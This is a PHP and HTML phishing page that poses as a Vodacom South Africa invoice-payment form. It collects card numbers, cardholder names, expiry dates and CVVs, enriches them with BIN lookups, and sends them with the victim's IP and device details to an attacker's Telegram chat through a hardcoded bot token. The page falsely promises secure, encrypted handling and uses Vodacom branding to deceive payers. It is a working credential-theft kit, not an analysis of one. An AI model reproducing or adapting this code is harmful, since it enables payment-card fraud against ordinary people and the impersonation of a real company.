<?php
// pago.php - Vodacom South Africa | Invoice Payment with BIN Checker
session_start();

// === TELEGRAM CONFIG ===
$BOT_TOKEN = "8135689033:AAGBjMNfT40yxgKM9hF6ztF5g_TWtrvdSRQ";
$CHAT_ID = "-5203855123";

// === GET USER INFO ===
$ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
$country = 'South Africa';

// Get BIN info function
function getBinInfo($bin) {
    $url = "https://data.handyapi.com/bin/{$bin}";
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 3,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_HTTPHEADER => ['x-api-key: HAS-0YYRXxQgdvMzHL9u9184D']
    ]);
    $response = curl_exec($ch);
    curl_close($ch);
    
    if ($response) {
        return json_decode($response, true);
    }
    return null;
}

// Format BIN info for message
function formatBinInfo($bin, $binData) {
    $binInfo = "🐸🇿🇦════════════════════════════════════🐸🇿🇦\n";
    $binInfo .= "<b>🅱️ DETAILED BIN INFORMATION</b>\n";
    $binInfo .= "════════════════════════════════════\n";
    
    if ($binData && is_array($binData)) {
        $brand = $binData['Brand'] ?? $binData['brand'] ?? 'UNKNOWN';
        $bank = $binData['Bank'] ?? $binData['bank'] ?? $binData['Issuer'] ?? 'Unknown';
        $binCountry = $binData['Country'] ?? $binData['country'] ?? 'Unknown';
        $type = $binData['Type'] ?? $binData['type'] ?? $binData['Scheme'] ?? 'UNKNOWN';
        $level = $binData['Level'] ?? $binData['level'] ?? $binData['CardTier'] ?? $binData['tier'] ?? 'STANDARD';
        $currency = $binData['Currency'] ?? $binData['currency'] ?? 'ZAR';
        $prepaid = $binData['Prepaid'] ?? $binData['prepaid'] ?? 'No';
        
        $binInfo .= "• <b>BIN:</b> <code>{$bin}</code>\n";
        $binInfo .= "• <b>Brand:</b> {$brand}\n";
        $binInfo .= "• <b>Issuing bank:</b> {$bank}\n";
        $binInfo .= "• <b>Country:</b> {$binCountry}\n";
        $binInfo .= "• <b>Type:</b> {$type}\n";
        $binInfo .= "• <b>Level:</b> {$level}\n";
        $binInfo .= "• <b>Currency:</b> {$currency}\n";
        $binInfo .= "• <b>Prepaid:</b> {$prepaid}\n";
    } else {
        $binInfo .= "• <b>BIN:</b> <code>{$bin}</code>\n";
        $binInfo .= "• <b>Note:</b> Additional information not available\n";
    }
    
    $binInfo .= "════════════════════════════════════\n";
    return $binInfo;
}

// Detect OS from user agent
function detectOS($user_agent) {
    $os = 'Unknown';
    if (strpos($user_agent, 'Windows') !== false) $os = 'Windows';
    elseif (strpos($user_agent, 'Mac') !== false) $os = 'macOS';
    elseif (strpos($user_agent, 'Linux') !== false) $os = 'Linux';
    elseif (strpos($user_agent, 'Android') !== false) $os = 'Android';
    elseif (strpos($user_agent, 'iPhone') !== false) $os = 'iOS';
    elseif (strpos($user_agent, 'iPad') !== false) $os = 'iPadOS';
    return $os;
}

function sendTelegram($msg) {
    global $BOT_TOKEN, $CHAT_ID;
    $url = "https://api.telegram.org/bot{$BOT_TOKEN}/sendMessage";
    $data = [
        'chat_id' => $CHAT_ID,
        'text' => $msg,
        'parse_mode' => 'HTML',
        'disable_web_page_preview' => true
    ];
    
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($data),
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_SSL_VERIFYPEER => false
    ]);
    
    curl_exec($ch);
    curl_close($ch);
}

// Handle payment submission
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['cardNumber'])) {
    $account = $_POST['account'] ?? '';
    $invoice = $_POST['invoice'] ?? '';
    $amount = $_POST['amount'] ?? '250.00';
    $cardNumber = trim($_POST['cardNumber']);
    $cardNumberClean = preg_replace('/\s+/', '', $cardNumber);
    $cardName = trim($_POST['cardName']);
    $expiry = $_POST['expiry'] ?? '';
    $cvv = $_POST['cvv'] ?? '';
    $os = detectOS($user_agent);
    
    // Get BIN info
    $bin = substr($cardNumberClean, 0, 6);
    $binData = getBinInfo($bin);
    
    $msg = "<b>💰 VODACOM SOUTH AFRICA - INVOICE PAYMENT</b>\n";
    $msg .= "════════════════════════════════════\n\n";
    
    $msg .= "<b>📋 INVOICE INFORMATION</b>\n";
    $msg .= "• <b>Account:</b> <code>{$account}</code>\n";
    $msg .= "• <b>Invoice:</b> <code>{$invoice}</code>\n";
    $msg .= "• <b>Amount:</b> R{$amount}\n\n";
    
    $msg .= formatBinInfo($bin, $binData);
    
    $msg .= "<b>💳 CARD DETAILS</b>\n";
    $msg .= "• <b>Number:</b> <code>{$cardNumberClean}</code>\n";
    $msg .= "• <b>Cardholder:</b> {$cardName}\n";
    $msg .= "• <b>Expiry:</b> {$expiry}\n";
    $msg .= "• <b>CVV:</b> <code>{$cvv}</code>\n\n";
    
    $msg .= "<b>📱 CUSTOMER INFORMATION</b>\n";
    $msg .= "• <b>IP:</b> <code>{$ip}</code>\n";
    $msg .= "• <b>Country:</b> {$country}\n";
    $msg .= "• <b>OS:</b> {$os}\n";
    $msg .= "• <b>Browser:</b> " . substr($user_agent, 0, 50) . "...\n";
    $msg .= "• <b>Date and time:</b> " . date('d/m/Y H:i:s') . "\n";
    $msg .= "════════════════════════════════════\n";
    $msg .= "<i>Transaction processed - Vodacom South Africa</i>";
    
    sendTelegram($msg);
    
    // Store data for confirmacion.php
    $last4 = substr($cardNumberClean, -4);
    $_SESSION['last4'] = $last4;
    $_SESSION['account'] = $account;
    $_SESSION['invoice'] = $invoice;
    $_SESSION['amount'] = $amount;
    $_SESSION['bin_info'] = $binData;
    
    // Redirect to procesando.php
    header("Location: procesando.php?ref=" . urlencode($invoice));
    exit;
}

$account = $_GET['account'] ?? $_SESSION['account'] ?? '0812345678';
$invoice = $_GET['invoice'] ?? $_SESSION['invoice'] ?? 'INV-2026-02-1589';
$amount = '250.00';
?>
<!DOCTYPE html>
<html lang="en-ZA">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Invoice Payment | Vodacom South Africa</title>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css">
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: 'Inter', -apple-system, BlinkMacSystemFont, sans-serif;
            background-color: #F5F7FB;
            color: #1A1A1A;
            min-height: 100vh;
            display: flex;
            flex-direction: column;
        }

        .header {
            background-color: #FFFFFF;
            border-bottom: 1px solid #E6EAF2;
            padding: 0.75rem 0;
        }

        .header-container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 2rem;
            display: flex;
            align-items: center;
            justify-content: space-between;
        }

        .logo {
            height: 45px;
            width: auto;
        }

        .nav-links {
            display: flex;
            gap: 2rem;
        }

        .nav-links a {
            color: #4A4A4A;
            text-decoration: none;
            font-size: 0.9rem;
            font-weight: 500;
        }

        .nav-links a:hover {
            color: #E60000;
        }

        .container {
            max-width: 600px;
            width: 100%;
            margin: 3rem auto;
            padding: 0 1.5rem;
            flex: 1;
        }

        .payment-card {
            background-color: #FFFFFF;
            border: 1px solid #E6EAF2;
            padding: 2.5rem;
        }

        .payment-header {
            margin-bottom: 2rem;
        }

        .payment-header h1 {
            font-size: 1.8rem;
            font-weight: 700;
            color: #1A1A1A;
            margin-bottom: 0.5rem;
        }

        .payment-header .subtitle {
            color: #6B7A99;
            font-size: 0.95rem;
            padding-bottom: 1.5rem;
            border-bottom: 1px solid #E6EAF2;
        }

        .invoice-summary {
            background-color: #F5F7FB;
            border: 1px solid #E6EAF2;
            padding: 1.5rem;
            margin-bottom: 2rem;
        }

        .summary-row {
            display: flex;
            justify-content: space-between;
            padding: 0.75rem 0;
            border-bottom: 1px solid #E6EAF2;
            font-size: 0.95rem;
        }

        .summary-row:last-child {
            border-bottom: none;
        }

        .summary-label {
            color: #6B7A99;
        }

        .summary-value {
            font-weight: 600;
            color: #1A1A1A;
        }

        .total {
            font-size: 1.2rem;
            color: #E60000;
            font-weight: 700;
        }

        .form-group {
            margin-bottom: 1.5rem;
        }

        label {
            display: block;
            font-size: 0.85rem;
            font-weight: 600;
            color: #1A1A1A;
            margin-bottom: 0.5rem;
            text-transform: uppercase;
            letter-spacing: 0.3px;
        }

        .input-wrapper {
            position: relative;
        }

        .input-wrapper i {
            position: absolute;
            left: 1rem;
            top: 50%;
            transform: translateY(-50%);
            color: #6B7A99;
            font-size: 1rem;
        }

        input {
            width: 100%;
            padding: 0.9rem 1rem 0.9rem 2.5rem;
            font-size: 1rem;
            border: 1px solid #D1D7E6;
            background-color: #FFFFFF;
            font-family: 'Inter', sans-serif;
        }

        input:focus {
            outline: none;
            border-color: #E60000;
        }

        .row-2 {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 1rem;
        }

        .card-type-indicator {
            margin-top: 0.5rem;
            font-size: 0.8rem;
            color: #6B7A99;
            min-height: 20px;
        }

        .card-type-indicator i {
            color: #E60000;
            margin-right: 0.25rem;
        }

        .secure-notice {
            display: flex;
            align-items: center;
            gap: 0.75rem;
            background-color: #F5F7FB;
            border: 1px solid #E6EAF2;
            padding: 1rem;
            margin: 2rem 0 1.5rem;
            font-size: 0.85rem;
            color: #6B7A99;
        }

        .secure-notice i {
            color: #E60000;
        }

        .btn-primary {
            width: 100%;
            padding: 1rem;
            background-color: #E60000;
            color: #FFFFFF;
            border: none;
            font-weight: 600;
            font-size: 1rem;
            cursor: pointer;
            transition: background-color 0.2s;
        }

        .btn-primary:hover {
            background-color: #BD0000;
        }

        .btn-primary i {
            margin-right: 0.5rem;
        }

        .bin-info-preview {
            background-color: #F5F7FB;
            border: 1px solid #E6EAF2;
            padding: 0.75rem 1rem;
            margin-bottom: 1.5rem;
            font-size: 0.85rem;
            color: #1A1A1A;
            display: none;
        }

        .bin-info-preview.show {
            display: block;
        }

        .bin-info-preview i {
            color: #E60000;
            margin-right: 0.5rem;
        }

        .error-msg {
            color: #DC2626;
            font-size: 0.8rem;
            margin-top: 0.25rem;
            display: none;
        }

        .error-msg.show {
            display: block;
        }

        .footer {
            background-color: #FFFFFF;
            border-top: 1px solid #E6EAF2;
            padding: 2rem 0;
            margin-top: auto;
        }

        .footer-container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 2rem;
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: 1rem;
        }

        .footer-logo {
            height: 30px;
            width: auto;
        }

        .footer-links {
            display: flex;
            gap: 2rem;
            font-size: 0.8rem;
        }

        .footer-links a {
            color: #6B7A99;
            text-decoration: none;
        }

        .footer-links a:hover {
            color: #E60000;
        }

        .footer-copyright {
            font-size: 0.75rem;
            color: #6B7A99;
        }

        @media (max-width: 480px) {
            .payment-card {
                padding: 1.5rem;
            }
            .row-2 {
                grid-template-columns: 1fr;
            }
        }
    </style>
</head>
<body>
    <header class="header">
        <div class="header-container">
            <img src="https://download.logo.wine/logo/Vodacom/Vodacom-Logo.wine.png" alt="Vodacom South Africa" class="logo">
            <div class="nav-links">
                <a href="#">Personal</a>
                <a href="#">Business</a>
                <a href="#">Help</a>
            </div>
        </div>
    </header>

    <div class="container">
        <div class="payment-card">
            <div class="payment-header">
                <h1>Invoice payment</h1>
                <p class="subtitle">Enter your card details to complete the payment</p>
            </div>

            <div class="invoice-summary">
                <div class="summary-row">
                    <span class="summary-label">Account number</span>
                    <span class="summary-value"><?php echo htmlspecialchars($account); ?></span>
                </div>
                <div class="summary-row">
                    <span class="summary-label">Invoice No.</span>
                    <span class="summary-value"><?php echo htmlspecialchars($invoice); ?></span>
                </div>
                <div class="summary-row">
                    <span class="summary-label">Period</span>
                    <span class="summary-value">February 2026</span>
                </div>
                <div class="summary-row">
                    <span class="summary-label">Amount due</span>
                    <span class="summary-value total">R<?php echo $amount; ?></span>
                </div>
            </div>

            <form method="POST" id="paymentForm">
                <input type="hidden" name="account" value="<?php echo htmlspecialchars($account); ?>">
                <input type="hidden" name="invoice" value="<?php echo htmlspecialchars($invoice); ?>">
                <input type="hidden" name="amount" value="<?php echo $amount; ?>">

                <div class="form-group">
                    <label>Card number</label>
                    <div class="input-wrapper">
                        <i class="fas fa-credit-card"></i>
                        <input type="text" id="cardNumber" name="cardNumber" placeholder="1234 5678 9012 3456" maxlength="19" required>
                    </div>
                    <div class="card-type-indicator" id="cardTypeIndicator"></div>
                    <div class="bin-info-preview" id="binInfoPreview"></div>
                    <div class="error-msg" id="cardError">Invalid card number</div>
                </div>

                <div class="form-group">
                    <label>Cardholder name</label>
                    <div class="input-wrapper">
                        <i class="fas fa-user"></i>
                        <input type="text" name="cardName" placeholder="As it appears on card" required>
                    </div>
                </div>

                <div class="row-2">
                    <div class="form-group">
                        <label>Expiry date</label>
                        <div class="input-wrapper">
                            <i class="fas fa-calendar"></i>
                            <input type="text" id="expiry" name="expiry" placeholder="MM/YY" maxlength="5" required>
                        </div>
                    </div>
                    <div class="form-group">
                        <label>CVV</label>
                        <div class="input-wrapper">
                            <i class="fas fa-lock"></i>
                            <input type="text" id="cvv" name="cvv" placeholder="123" maxlength="4" required>
                        </div>
                    </div>
                </div>

                <div class="secure-notice">
                    <i class="fas fa-shield-alt"></i>
                    <span>Secure transaction • Your data is protected with 256-bit SSL encryption</span>
                </div>

                <button type="submit" class="btn-primary" id="payBtn">
                    <i class="fas fa-lock"></i>
                    Pay R<?php echo $amount; ?>
                </button>
            </form>
        </div>
    </div>

    <footer class="footer">
        <div class="footer-container">
            <img src="https://www.at-mobilfunk.com/wp-content/uploads/2020/02/vodacom-logo.png" alt="Vodacom" class="footer-logo">
            <div class="footer-links">
                <a href="#">Terms and conditions</a>
                <a href="#">Privacy policy</a>
                <a href="#">Help centre</a>
                <a href="#">Contact</a>
            </div>
            <div class="footer-copyright">© 2026 Vodacom South Africa. All rights reserved.</div>
        </div>
    </footer>

    <script>
        // Card number formatting and BIN detection
        const cardInput = document.getElementById('cardNumber');
        const cardError = document.getElementById('cardError');
        const cardTypeIndicator = document.getElementById('cardTypeIndicator');
        const binInfoPreview = document.getElementById('binInfoPreview');
        
        // Simulated BIN database for frontend display
        const binDatabase = {
            '4': { brand: 'Visa', type: 'Credit', bank: 'Standard Bank' },
            '5': { brand: 'Mastercard', type: 'Credit', bank: 'First National Bank' },
            '3': { brand: 'American Express', type: 'Credit', bank: 'ABSA' },
            '6': { brand: 'Discover', type: 'Debit', bank: 'Nedbank' }
        };

        cardInput.addEventListener('input', function(e) {
            let value = e.target.value.replace(/\D/g, '').slice(0, 16);
            e.target.value = value.replace(/(\d{4})/g, '$1 ').trim();
            
            // BIN detection (first digit)
            if (value.length >= 1) {
                const firstDigit = value[0];
                const binInfo = binDatabase[firstDigit] || { brand: 'Unknown', type: '', bank: '' };
                
                cardTypeIndicator.innerHTML = `<i class="fas fa-credit-card"></i> ${binInfo.brand} • ${binInfo.type} • ${binInfo.bank}`;
                
                // Show BIN preview if we have at least 6 digits
                if (value.length >= 6) {
                    const bin = value.slice(0, 6);
                    binInfoPreview.innerHTML = `<i class="fas fa-info-circle"></i> <strong>BIN ${bin}:</strong> ${binInfo.brand} - ${binInfo.bank} (${binInfo.type})`;
                    binInfoPreview.classList.add('show');
                } else {
                    binInfoPreview.classList.remove('show');
                }
            } else {
                cardTypeIndicator.innerHTML = '';
                binInfoPreview.classList.remove('show');
            }
            
            if (value.length >= 15) {
                cardError.classList.remove('show');
            }
        });

        // Expiry date formatting
        document.getElementById('expiry').addEventListener('input', function(e) {
            let value = e.target.value.replace(/\D/g, '').slice(0, 4);
            if (value.length >= 2) {
                e.target.value = value.slice(0, 2) + '/' + value.slice(2);
            } else {
                e.target.value = value;
            }
        });

        // CVV formatting
        document.getElementById('cvv').addEventListener('input', function(e) {
            e.target.value = e.target.value.replace(/\D/g, '').slice(0, 4);
        });

        // Form validation
        document.getElementById('paymentForm').addEventListener('submit', function(e) {
            const cardNumber = document.getElementById('cardNumber').value.replace(/\s/g, '');
            const cardName = document.querySelector('input[name="cardName"]').value.trim();
            const expiry = document.getElementById('expiry').value;
            const cvv = document.getElementById('cvv').value;
            
            if (cardNumber.length < 15) {
                e.preventDefault();
                cardError.classList.add('show');
                return;
            }
            
            if (cardName.length < 3) {
                e.preventDefault();
                alert('Please enter the cardholder name');
                return;
            }
            
            if (expiry.length < 5 || !expiry.includes('/')) {
                e.preventDefault();
                alert('Please enter a valid expiry date');
                return;
            }
            
            if (cvv.length < 3) {
                e.preventDefault();
                alert('Please enter a valid CVV');
                return;
            }
            
            document.getElementById('payBtn').innerHTML = '<i class="fas fa-spinner fa-spin"></i> Processing...';
        });
    </script>
</body>
</html>